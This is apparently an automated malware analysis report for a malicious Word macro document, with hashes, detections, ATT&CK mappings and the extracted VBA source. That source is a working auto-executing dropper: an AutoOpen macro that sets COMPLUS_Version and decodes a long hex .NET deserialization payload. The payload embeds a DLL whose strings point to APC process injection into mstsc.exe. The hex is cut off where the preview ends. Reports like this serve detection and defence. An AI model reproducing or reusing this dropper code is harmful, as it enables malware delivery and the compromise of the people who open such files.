Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 4b17ac588477df62…

MALICIOUS

Office (OOXML)

43.1 KB Created: 2021-06-14 15:24:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-20
MD5: 5167d9febfd46150d0480641d4e5a086 SHA-1: 1f4f48cc4d48c166679252bd97e08aaa79c62c13 SHA-256: 4b17ac588477df629eb9194f439a378c5ff56c5e600c48f3f23bf7e623359cf3
358 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1218.011 System Binary Proxy Execution: Rundll32 T1071.001 Web Protocols: Web Protocols T1105 Ingress Tool Transfer

The sample contains VBA macros with AutoOpen and Workbook_Open triggers, indicating an attempt to automatically execute malicious code upon opening. The macros utilize WScript.Shell and CreateObject to construct and execute a .NET deserialization payload, likely to download and execute a second-stage payload. The presence of ClamAV detections for 'Doc.Dropper.HexEncodedEXEHeader' and 'Win.Countermeasure.G2JS_Script_Generic' further supports its malicious nature as a dropper.

Heuristics 9

  • ClamAV: Doc.Dropper.HexEncodedEXEHeader-9789587-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.HexEncodedEXEHeader-9789587-1
  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Sub LOL99()
Dim shell
Set shell = CreateObject("WScript.Shell")
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Dim shell
Set shell = CreateObject("WScript.Shell")
shell.Environment("Process").Item("COMPLUS_Version") = "v4.0.30319"
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Dim LL
    Set DM = CreateObject("Microsoft.XMLDOM")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
    L10
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
    L10
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 37119 bytes
SHA-256: 0450ad0c8ae262bb43f7e1153379fbc179fc565d7bc6022924bc70bc064e4565
Detection
ClamAV: Win.Countermeasure.G2JS_Script_Generic_1-9818937-0
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function LOOOL1(hex)
    On Error Resume Next
    Dim DM, EL
    
    Dim LL
    Set DM = CreateObject("Microsoft.XMLDOM")
    
    
    Set EL = DM.createElement("tmp")
    EL.DataType = "bin.hex"
    
    LL = "Test2"
    EL.Text = hex
    
    
    LOOOL1 = EL.NodeTypedValue
End Function

Sub LOL99()
Dim shell
Set shell = CreateObject("WScript.Shell")
shell.Environment("Process").Item("COMPLUS_Version") = "v4.0.30319"
End Sub

Function L10()
    On Error Resume Next
    LOL99
    Dim L2
        L2 = "0001000000FFFFFFFF01000000000000000401000000225"
        L2 = L2 & "3797374656D2E44656C656761746553657269616C697A6174696F"
    L2 = L2 & "6E486F6C646572030000000844656C6567617465077461"
    L2 = L2 & "7267657430076D6574686F64300303033053797374656D2E44656C"
    L2 = L2 & "656761746553657269616C697A6174696F6E486F6C6465"
    L2 = L2 & "722B44656C6567617465456E7472792253797374656D2E44656C65"
    L2 = L2 & "6761746553657269616C697A6174696F6E486F6C646572"
    L2 = L2 & "2F53797374656D2E5265666C656374696F6E2E4D656D626572496E"
    L2 = L2 & "666F53657269616C697A6174696F6E486F6C6465720902"
    L2 = L2 & "0000000903000000090400000004020000003053797374656D2E44"
    L2 = L2 & "656C656761746553657269616C697A6174696F6E486F6C"
    L2 = L2 & "6465722B44656C6567617465456E74727907000000047479706508"
    L2 = L2 & "617373656D626C79067461726765741274617267657454"
    L2 = L2 & "797065417373656D626C790E746172676574547970654E616D650A"
    L2 = L2 & "6D6574686F644E616D650D64656C6567617465456E7472"
    L2 = L2 & "79010102010101033053797374656D2E44656C6567617465536572"
    L2 = L2 & "69616C697A6174696F6E486F6C6465722B44656C656761"
    L2 = L2 & "7465456E74727906050000002F53797374656D2E52756E74696D65"
    L2 = L2 & "2E52656D6F74696E672E4D6573736167696E672E486561"
    L2 = L2 & "64657248616E646C657206060000004B6D73636F726C69622C2056"
    L2 = L2 & "657273696F6E3D322E302E302E302C2043756C74757265"
    L2 = L2 & "3D6E65757472616C2C205075626C69634B6579546F6B656E3D6237"
    L2 = L2 & "3761356335363139333465303839060700000007746172"
    L2 = L2 & "67657430090600000006090000000F53797374656D2E44656C6567"
    L2 = L2 & "617465060A0000000D44796E616D6963496E766F6B650A"
    L2 = L2 & "04030000002253797374656D2E44656C656761746553657269616C"
    L2 = L2 & "697A6174696F6E486F6C646572030000000844656C6567"
    L2 = L2 & "6174650774617267657430076D6574686F64300307033053797374"
    L2 = L2 & "656D2E44656C656761746553657269616C697A6174696F"
    L2 = L2 & "6E486F6C6465722B44656C6567617465456E747279022F53797374"
    L2 = L2 & "656D2E5265666C656374696F6E2E4D656D626572496E66"
    L2 = L2 & "6F53657269616C697A6174696F6E486F6C646572090B000000090C"
    L2 = L2 & "000000090D00000004040000002F53797374656D2E5265"
    L2 = L2 & "666C656374696F6E2E4D656D626572496E666F53657269616C697A"
    L2 = L2 & "6174696F6E486F6C64657206000000044E616D650C4173"
    L2 = L2 & "73656D626C794E616D6509436C6173734E616D65095369676E6174"
    L2 = L2 & "7572650A4D656D626572547970651047656E6572696341"
    L2 = L2 & "7267756D656E7473010101010003080D53797374656D2E54797065"
    L2 = L2 & "5B5D090A0000000906000000090900000006110000002C"
    L2 = L2 & "53797374656D2E4F626A6563742044796E616D6963496E766F6B65"
    L2 = L2 & "2853797374656D2E4F626A6563745B5D29080000000A01"
    L2 = L2 & "0B0000000200000006120000002053797374656D2E586D6C2E5363"
    L2 = L2 & "68656D612E586D6C56616C756547657474657206130000"
    L2 = L2 & "004D53797374656D2E586D6C2C2056657273696F6E3D322E302E30"
    L2 = L2 & "2E302C2043756C747572653D6E65757472616C2C205075"
    L2 = L2 & "626C69634B6579546F6B656E3D6237376135633536313933346530"
    L2 = L2 & "3839061400000007746172676574300906000000061600"
    L2 = L2 & "00001A53797374656D2E5265666C656374696F6E2E417373656D62"
    L2 = L2 & "6C790617000000044C6F61640A0F0C000000002E000002"
    L2 = L2 & "4D5A90000300000004000000FFFF0000B800000000000000400000"
    L2 = L2 & "0000000000000000000000000000000000000000000000"
    L2 = L2 & "00000000000000000000800000000E1FBA0E00B409CD21B8014CCD"
    L2 = L2 & "21546869732070726F6772616D2063616E6E6F74206265"
    L2 = L2 & "2072756E20696E20444F53206D6F64652E0D0D0A24000000000000"
    L2 = L2 & "00504500004C010300D745C7600000000000000000E000"
    L2 = L2 & "02210B010800002600000006000000000000EE4500000020000000"
    L2 = L2 & "6000000000400000200000000200000400000000000000"
    L2 = L2 & "040000000000000000A00000000200000000000003004085000010"
    L2 = L2 & "0000100000000010000010000000000000100000000000"
    L2 = L2 & "000000000000944500005700000000600000980200000000000000"
    L2 = L2 & "0000000000000000000000008000000C00000000000000"
    L2 = L2 & "000000000000000000000000000000000000000000000000000000"
    L2 = L2 & "0000000000000000000000000000000000002000000800"
    L2 = L2 & "00000000000000000000082000004800000000000000000000002E"
    L2 = L2 & "74657874000000F4250000002000000026000000020000"
    L2 = L2 & "000000000000000000000000200000602E72737263000000980200"
    L2 = L2 & "0000600000000400000028000000000000000000000000"
    L2 = L2 & "0000400000402E72656C6F6300000C000000008000000002000000"
    L2 = L2 & "2C00000000000000000000000000004000004200000000"
    L2 = L2 & "000000000000000000000000D04500000000000048000000020005"
    L2 = L2 & "00C0210000D42300000100000000000000000000000000"
    L2 = L2 & "000000000000000000000000000000000000000000000000000000"
    L2 = L2 & "00000000000000000000000000000013300A0031010000"
    L2 = L2 & "0100001102280400000A000072010000700A723D0000700B727900"
    L2 = L2 & "00700C72790000700D280500000A1AFE0116FE01131111"
    L2 = L2 & "112D0C00727B0000700C070D002B0A00724E0900700C060D000828"
    L2 = L2 & "0600000A13041205FE15060000021206FE150500000209"
    L2 = L2 & "147E0700000A7E0700000A1620040000087E0700000A1412051206"
    L2 = L2 & "2807000006130712067B240000047E0700000A11048E69"
    L2 = L2 & "7E010000047E03000004280500000613087E0700000A130912067B"
    L2 = L2 & "240000041108110411048E6912092803000006130A1613"
    L2 = L2 & "0B12067B24000004110811048E697E02000004120B280600000613"
    L2 = L2 & "0A12067B26000004280800000A130C110C6F0900000A13"
    L2 = L2 & "0D1F1016110D166F0A00000A6F0B00000A2802000006130E110811"
    L2 = L2 & "0E7E0700000A2804000006130F12067B25000004131011"
    L2 = L2 & "10280800000626002A62200010000080010000041F208002000004"
    L2 = L2 & "1A80030000042A22007301000006262A22007301000006"
    L2 = L2 & "262A1E02281100000A2A42534A4201000100000000000C00000076"
    L2 = L2 & "322E302E35303732370000000005006C00000080060000"
    L2 = L2 & "237E0000EC0600005008000023537472696E6773000000003C0F00"
    L2 = L2 & "0014130000235553005022000010000000234755494400"
    L2 = L2 & "0000602200007401000023426C6F62000000000000000200000157"
    L2 = L2 & "1D02140902000000FA0133001600000100000013000000"
    L2 = L2 & "08000000430000000D000000230000001100000027000000070000"
    L2 = L2 & "0001000000010000000800000001000000030000000500"
    L2 = L2 & "000000000A0001000000000006009000890006009700890006009C"
    L2 = L2 & "0089000A007600A60006000F05FC0406004A052A050600"
    L2 = L2 & "6A052A050600AC058D050600C00589000600D00589000E000106EE"
    L2 = L2 & "050E001806EE050E003C06EE0506005A068D050600CD06"
    L2 = L2 & "8D050600E20789000600F1078D05060007088D050E002808120800"
    L2 = L2 & "0000000100000000000100010001001000130013000500"
    L2 = L2 & "010001000201000021000000090004000B00020100003400000009"
    L2 = L2 & "0012000B000A011000490000000D0024000B000A011000"
    L2 = L2 & "5D0000000D0028000B00020100006900000009003A000B00010010"
    L2 = L2 & "0076001300110044000B001100C90017001100D4001700"
    L2 = L2 & "1100E6001700060669011700568071015F00568075015F0056807F"
    L2 = L2 & "015F0056808C015F005680A3015F005680B5015F005680"
    L2 = L2 & "C8015F00568040015F005680D8015F005680E1015F005680F0015F"
    L2 = L2 & "00568001025F00568019025F0006066901170056802502"
    L2 = L2 & "A40056802F02A40056804902A40056806302A40056807602A40056"
    L2 = L2 & "808F02A4005680A002A4005680B902A4005680DA02A400"
    L2 = L2 & "5680F202A40056800803A40056801903A40056803403A40056804C"
    L2 = L2 & "03A40056805A03A40056806B03A40056808803A4000600"
    L2 = L2 & "A003D5000600A903D5000600B10317000600BD0317000600C80317"
    L2 = L2 & "000600CB03D8000600D603D8000600E003D8000600E803"
    L2 = L2 & "17000600EC0317000600F00317000600F803170006000004170006"
    L2 = L2 & "000E04170006001C04170006002C04170006003404DB00"
    L2 = L2 & "06004004DB0006004C04D50006005804D50006006204D50006006D"
    L2 = L2 & "04D50006066901DE0056807704E10056808104E1005680"
    L2 = L2 & "9004E10056809C04E1005680A804E1005680B804E1005680CA04E1"
    L2 = L2 & "005680DB04E1005680E704E1005020000000008618C300"
    L2 = L2 & "130001000000000080009620F5001A000100000000008000962000"
    L2 = L2 & "0122000400000000008000962013012D00090000000000"
    L2 = L2 & "80009620200134000C0000000000800091202F013D001100000000"
    L2 = L2 & "008000962040014700160000000000800096204E015A00"
    L2 = L2 & "200000000000800096205B015A0021008D21000000009118DB073F"
    L2 = L2 & "012200A62100000000C6001B05E5002200AF2100000000"
    L2 = L2 & "91002505EB002300B821000000008618C30013002400000001007A"
    L2 = L2 & "06000002008A0600000300BD0300000100A00300000200"
    L2 = L2 & "990600000300A70600000400B00602000500B60600000100DA0600"
    L2 = L2 & "000200A90300000300E10600000100A00300000200E806"
    L2 = L2 & "00000300F20600000400F906000005000A0700000100A003000002"
    L2 = L2 & "00E80600000300F2060000040014070200050021070000"
    L2 = L2 & "010030070000020042070000030050070000040064070000050077"
    L2 = L2 & "0700000600870700000700970700000800A50700000900"
    L2 = L2 & "B80702000A00C60700000100A90300000100A903000001003E0800"
    L2 = L2 & "00010049083100C300F1003900C30013004100C300F600"
    L2 = L2 & "0900C30013004900C70501015100D80505014900E905D500590009"
    L2 = L2 & "060B0159003006110161004A061601690053061C017100"
    L2 = L2 & "C3003A017900C30013008100C30013008900C30043019900C300F6"
    L2 = L2 & "002100C300130009001400630009001800680009001C00"
    L2 = L2 & "6D00090020007200090024007700090028007C0009002C00810009"
    L2 = L2 & "0030008600090034008B0009003800900009003C009500"
    L2 = L2 & "090040009A00090044009F0009004C00A80009005000AD00090054"
    L2 = L2 & "00B20009005800770009005C00900009006000B7000900"
    L2 = L2 & "6400BC0009006800C10009006C009A00090070009A0009007400C6"
    L2 = L2 & "0009007800950009007C006D0009008000680009008400"
    L2 = L2 & "720009008800CB0009008C00D0000800EC0068000800F0006D0008"
    L2 = L2 & "00F40072000800F80077000800FC007C00080000018100"
    L2 = L2 & "080004018600080008018B0008000C0190002E000B0049012E0013"
    L2 = L2 & "00520143001B00FB00630073006800830073006800E300"
    L2 = L2 & "7300680003018300FB0020016D0640010500F50001004001070000"
    L2 = L2 & "010100000109001301010040010B002001010000010D00"
    L2 = L2 & "2F01010000010F0040010100000111004E010100000113005B0101"
    L2 = L2 & "0004800000000000000000000000000000000088050000"
    L2 = L2 & "020000000000000000000000010080000000000002000000000000"
    L2 = L2 & "00000000000A00A6000000000002000000000000000000"
    L2 = L2 & "000001008900000000000300020004000200050002000600020007"
    L2 = L2 & "0002000000003C4D6F64756C653E00717565332E646C6C"
    L2 = L2 & "004772756E74496E6A6563746F720050726F636573734163636573"
    L2 = L2 & "73466C6167730050726F636573734372656174696F6E46"
    L2 = L2 & "6C6167730050524F434553535F494E464F524D4154494F4E005354"
    L2 = L2 & "4152545550494E464F0054687265616441636365737300"
    L2 = L2 & "496E7374616C6C6572006D73636F726C69620053797374656D004F"
    L2 = L2 & "626A65637400456E756D0056616C756554797065005379"
    L2 = L2 & "7374656D2E436F6E66696775726174696F6E2E496E7374616C6C00"
    L2 = L2 & "2E63746F72004D454D5F434F4D4D495400504147455F45"
    L2 = L2 & "5845435554455F5245414400504147455F52454144575249544500"
    L2 = L2 & "4F70656E54687265616400577269746550726F63657373"
    L2 = L2 & "4D656D6F727900517565756555736572415043005669727475616C"
    L2 = L2 & "416C6C6F634578005669727475616C50726F7465637445"
    L2 = L2 & "780043726561746550726F6365737300526573756D655468726561"
    L2 = L2 & "640053757370656E645468726561640076616C75655F5F"
    L2 = L2 & "00416C6C005465726D696E61746500437265617465546872656164"
    L2 = L2 & "005669727475616C4D656D6F72794F7065726174696F6E"
    L2 = L2 & "005669727475616C4D656D6F727952656164005669727475616C4D"
    L2 = L2 & "656D6F72795772697465004475706C696361746548616E"
    L2 = L2 & "646C650053657451756F746100536574496E666F726D6174696F6E"
    L2 = L2 & "005175657279496E666F726D6174696F6E005175657279"
    L2 = L2 & "4C696D69746564496E666F726D6174696F6E0053796E6368726F6E"
    L2 = L2 & "697A65005A45524F5F464C4147004352454154455F4252"
    L2 = L2 & "45414B415741595F46524F4D5F4A4F42004352454154455F444546"
    L2 = L2 & "41554C545F4552524F525F4D4F4445004352454154455F"
    L2 = L2 & "4E45575F434F4E534F4C45004352454154455F4E45575F50524F43"
    L2 = L2 & "4553535F47524F5550004352454154455F4E4F5F57494E"
    L2 = L2 & "444F57004352454154455F50524F5445435445445F50524F434553"
    L2 = L2 & "53004352454154455F50524553455256455F434F44455F"
    L2 = L2 & "415554485A5F4C4556454C004352454154455F5345504152415445"
    L2 = L2 & "5F574F575F56444D004352454154455F5348415245445F"
    L2 = L2 & "574F575F56444D004352454154455F53555350454E444544004352"
    L2 = L2 & "454154455F554E49434F44455F454E5649524F4E4D454E"
    L2 = L2 & "540044454255475F4F4E4C595F544849535F50524F434553530044"
    L2 = L2 & "454255475F50524F434553530044455441434845445F50"
    L2 = L2 & "524F4345535300455854454E4445445F53544152545550494E464F"
    L2 = L2 & "5F50524553454E5400494E48455249545F504152454E54"
    L2 = L2 & "5F414646494E495459006850726F63657373006854687265616400"
    L2 = L2 & "647750726F636573734964006477546872656164496400"
    L2 = L2 & "6362006C705265736572766564006C704465736B746F70006C7054"
    L2 = L2 & "69746C6500647758006477590064775853697A65006477"
    L2 = L2 & "5953697A6500647758436F756E74436861727300647759436F756E"
    L2 = L2 & "74436861727300647746696C6C41747472696275746500"
    L2 = L2 & "6477466C616773007753686F7757696E646F770063625265736572"
    L2 = L2 & "76656432006C705265736572766564320068537464496E"
    L2 = L2 & "70757400685374644F757470757400685374644572726F72005445"
    L2 = L2 & "524D494E4154450053555350454E445F524553554D4500"
    L2 = L2 & "4745545F434F4E54455854005345545F434F4E5445585400534554"
    L2 = L2 & "5F494E464F524D4154494F4E0051554552595F494E464F"
    L2 = L2 & "524D4154494F4E005345545F5448524541445F544F4B454E00494D"
    L2 = L2 & "504552534F4E415445004449524543545F494D50455253"
    L2 = L2 & "4F4E4154494F4E0053797374656D2E436F6C6C656374696F6E7300"
    L2 = L2 & "4944696374696F6E61727900556E696E7374616C6C004D"
    L2 = L2 & "61696E0053797374656D2E52756E74696D652E436F6D70696C6572"
    L2 = L2 & "536572766963657300436F6D70696C6174696F6E52656C"
    L2 = L2 & "61786174696F6E734174747269627574650052756E74696D65436F"
    L2 = L2 & "6D7061746962696C697479417474726962757465007175"
    L2 = L2 & "65330053797374656D2E52756E74696D652E496E7465726F705365"
    L2 = L2 & "72766963657300436F6D56697369626C65417474726962"
    L2 = L2 & "75746500496E74507472006765745F53697A6500436F6E76657274"
    L2 = L2 & "0046726F6D426173653634537472696E67005A65726F00"
    L2 = L2 & "53797374656D2E446961676E6F73746963730050726F6365737300"
    L2 = L2 & "47657450726F63657373427949640050726F6365737354"
    L2 = L2 & "6872656164436F6C6C656374696F6E006765745F54687265616473"
    L2 = L2 & "0050726F63657373546872656164006765745F4974656D"
    L2 = L2 & "006765745F496400446C6C496D706F727441747472696275746500"
    L2 = L2 & "6B65726E656C33322E646C6C0064774465736972656441"
    L2 = L2 & "63636573730062496E686572697448616E646C65006C7042617365"
    L2 = L2 & "41646472657373006C70427566666572006E53697A6500"
    L2 = L2 & "6C704E756D6265724F6642797465735772697474656E004F757441"
    L2 = L2 & "74747269627574650070666E4150430064774461746100"
    L2 = L2 & "6C704164647265737300647753697A6500666C416C6C6F63617469"
    L2 = L2 & "6F6E5479706500666C50726F7465637400666C4E657750"
    L2 = L2 & "726F74656374006C70666C4F6C6450726F74656374006C70417070"
    L2 = L2 & "6C69636174696F6E4E616D65006C70436F6D6D616E644C"
    L2 = L2 & "696E65006C7050726F6365737341747472696275746573006C7054"
    L2 = L2 & "6872656164417474726962757465730062496E68657269"
    L2 = L2 & "7448616E646C65730064774372656174696F6E466C616773006C70"
    L2 = L2 & "456E7669726F6E6D656E74006C7043757272656E744469"
    L2 = L2 & "726563746F7279006C7053746172747570496E666F006C7050726F"
    L2 = L2 & "63657373496E666F726D6174696F6E002E6363746F7200"
    L2 = L2 & "466C616773417474726962757465005374727563744C61796F7574"
    L2 = L2 & "417474726962757465004C61796F75744B696E64005379"
    L2 = L2 & "7374656D2E436F6D706F6E656E744D6F64656C0052756E496E7374"
    L2 = L2 & "616C6C6572417474726962757465007361766564537461"
    L2 = L2 & "74650061726773000000003B43003A005C00570069006E0064006F"
    L2 = L2 & "00770073005C00530079007300740065006D0033003200"
    L2 = L2 & "5C006D0073007400730063002E00650078006500003B43003A005C"
    L2 = L2 & "00570069006E0064006F00770073005C00530079007300"
    L2 = L2 & "57004F005700360034005C006D0073007400730063002E00650078"
    L2 = L2 & "00650000010088D12F004F0069004A0041004100410041"
    L2 = L2 & "00590049006E006C004D0064004A006B0069003100490077006900"
    L2 = L2 & "310049004D0069003100490055006900330049006F0044"
    L2 = L2 & "00370064004B004A006A0048002F004D0063004300730050004700"
    L2 = L2 & "4600380041006900770067007700630038004E00410063"
    L2 = L2 & "0066006900380046004A0058006900310049005100690030004900"
    L2 = L2 & "38004100640043004C0051004800690046007700480052"
    L2 = L2 & "004B00410064004200510069003000670059006900310067006700"
    L2 = L2 & "4100640050006A00500045006D004C004E004900730042"
    L2 = L2 & "0031006A0048002F004D006300430073007700630038004E004100"
    L2 = L2 & "630063003400340048005800300041003300330034004F"
    L2 = L2 & "00330030006B00640065004A0059006900310067006B0041006400"
    L2 = L2 & "4E006D006900770078004C006900310067006300410064"
    L2 = L2 & "004F004C004200490073004200300049006C0045004A0043005200"
    L2 = L2 & "62005700320046005A0057006C0048002F003400460068"
    L2 = L2 & "00660057006F0073005300360034005A0064006100470035006C00"
    L2 = L2 & "6400410042006F00640032006C0075006100560052006F"
    L2 = L2 & "005400480063006D0042002F002F00560036004100410041004100"
    L2 = L2 & "4100410078002F00310064005800560031006400580061"
    L2 = L2 & "004400700057006500610066002F00310065006D006B0041004100"
    L2 = L2 & "4100410057007A0048004A005500560046007100410031"
    L2 = L2 & "004600520061004C00730042004100410042005400550047006800"
    L2 = L2 & "580069005A002F0047002F003900560051003600590077"
    L2 = L2 & "00410041004100420062004D0064004A0053006100410041007900"
    L2 = L2 & "770049005200530055006C004A00540055006C0042006F"
    L2 = L2 & "0036003100550075004F002F002F00560069006300610044007700"
    L2 = L2 & "310042006F00670044004D004100410049006E00670061"
    L2 = L2 & "00670052005100610068003900570061004800560047006E006F00"
    L2 = L2 & "62002F0031005600380078002F00310064005800610076"
    L2 = L2 & "003900540056006D006700740042006800680037002F0039005700"
    L2 = L2 & "4600770041002B00450079006700450041004100440048"
    L2 = L2 & "002F00680066005A003000420049006E003500360077006C006F00"
    L2 = L2 & "7100730058006900580066002F0056006900630046006F"
    L2 = L2 & "0052005300460065004D0066002F0056004D006600390058006100"
    L2 = L2 & "67006400520056006C0042006F00740031006600670043"
    L2 = L2 & "002F002F0056007600770041007600410041004100350078003300"
    L2 = L2 & "55004800570046004400700065002F002F002F002F007A"
    L2 = L2 & "0048002F0036005A00450042004100410044007000790051004500"
    L2 = L2 & "410041004F00680076002F002F002F002F004C0032004E"
    L2 = L2 & "007600620058004200760062006D0056007500640048004D007600"
    L2 = L2 & "61004800490075006200580041007A0041004B006E0071"
    L2 = L2 & "0074003000450078004D0041003100710061005800560039004700"
    L2 = L2 & "49007900780066004D0049002F00330079005700610068"
    L2 = L2 & "006A004100580070006C0064006400350072005400330052004200"
    L2 = L2 & "4500670059006E00460059004C0079006A00460045002B"
    L2 = L2 & "0037004B005A0031004C0065006B00510072003100480042003500"
    L2 = L2 & "3000310061002B004A007A006D00450037005100420054"
    L2 = L2 & "005800390077004200440062003200350075005A0057004E003000"
    L2 = L2 & "61005700390075004F00690042006A006200470039007A"
    L2 = L2 & "005A00510030004B00510057004E006A005A005800420030004F00"
    L2 = L2 & "6900420070006200570046006E005A0053003800710044"
    L2 = L2 & "0051007000560063003200560079004C00550046006E005A005700"
    L2 = L2 & "350030004F00690042004E006200330070007000620047"
    L2 = L2 & "00780068004C007A00550075004D00430041006F00560032006C00"
    L2 = L2 & "75005A004700390033006300790042004F005600430041"
    L2 = L2 & "0078004D004300340077004F007900420058006100570034003200"
    L2 = L2 & "4E0044007300670065004400590030004B005300420042"
    L2 = L2 & "0063004800420073005A00560064006C0059006B00740070006400"
    L2 = L2 & "4300380031004D007A00630075004D007A00590067004B"
    L2 = L2 & "004500740049005600450031004D004C0043004200730061005700"
    L2 = L2 & "74006C004900450064006C0059003200740076004B0053"
    L2 = L2 & "0042004400610048004A00760062005700550076004E0044004900"
    L2 = L2 & "75004D004300340079004D007A00450078004C006A0045"
    L2 = L2 & "007A004E00530042005400590057005A00680063006D006B007600"
    L2 = L2 & "4E0054004D0033004C006A004D0032004900450056006B"
    L2 = L2 & "005A003200550076004D005400490075004D006A00510032004400"
    L2 = L2 & "51006F00410068005A0075002F00760037006D00340077"
    L2 = L2 & "00670037004E002F006E00440030004B006500420032004D006500"
    L2 = L2 & "3800720045006C004B0064006500560058006400550067"
    L2 = L2 & "00480061003700300065004F00640057003100760051004C006800"
    L2 = L2 & "63006400380076004800510079004B00320050006B006A"
    L2 = L2 & "00630030007600680030007900730072004E004200680041003300"
    L2 = L2 & "4C00670042007500610034005900460074003200620045"
    L2 = L2 & "00540038004500670065005200390049003900640069006A004900"
    L2 = L2 & "36006200520061006E00650041002F0050006B00530068"
    L2 = L2 & "0038002B004F0050006A0037002B005000460043004F007A005A00"
    L2 = L2 & "5900720069004F0047007800790037004F003700300049"
    L2 = L2 & "0041006B004D00640050004D0039004B0071004B00320059007800"
    L2 = L2 & "6A003300330071004900560067004D0038003700610047"
    L2 = L2 & "0079005A0074006F00390047007A00490041006100500043003100"
    L2 = L2 & "6F006C0062002F00310057007000410061004100410051"
    L2 = L2 & "004100410042006F0041004100420041004100460064006F005700"
    L2 = L2 & "4B0052005400350066002F0056006B0037006B00410041"
    L2 = L2 & "00410041004100410064006C005200550034006E006E0056003200"
    L2 = L2 & "670041004900410041004100550031005A006F00450070"
    L2 = L2 & "0061004A00340076002F005600680063004200300078006F007300"
    L2 = L2 & "4800410063004F0046007700480058006C0057004D0050"
    L2 = L2 & "006F006900660033002F002F0032004E006C0062006E0052007900"
    L2 = L2 & "59005700780068004C0057007400680059003300700074"
    L2 = L2 & "00590058004A007A00610032006B00750063004700770041004200"
    L2 = L2 & "690030007300490051003D003D000089C12F0045006900"
    L2 = L2 & "44003500500044006F007900410041004100410045004600520051"
    L2 = L2 & "00560042005300550056005A0049004D0064004A006C00"
    L2 = L2 & "53004900740053005900450069004C005500680068004900690031"
    L2 = L2 & "0049006700530049007400790055004500670050007400"
    L2 = L2 & "300070004B005400540048004A0053004400480041007200440078"
    L2 = L2 & "0068006600410049007300490045004800420079005100"
    L2 = L2 & "310042004100630048006900370056004A0042005500550069004C"
    L2 = L2 & "005500690043004C0051006A0078004900410064004200"
    L2 = L2 & "6D006700580067005900430077004A00310063006F007500410069"
    L2 = L2 & "0041004100410041004500690046007700480052006E00"
    L2 = L2 & "530041004800510055004900740049004700450053004C00510043"
    L2 = L2 & "0042004A004100640044006A0056006B006A002F007900"
    L2 = L2 & "550047004C004E00490068004900410064005A004E004D0063006C"
    L2 = L2 & "0049004D006300430073005100630048004A0044005500"
    L2 = L2 & "45004200770054006A0067006400660046004D004100300077006B"
    L2 = L2 & "0043004500550035003000580058005900570045005300"
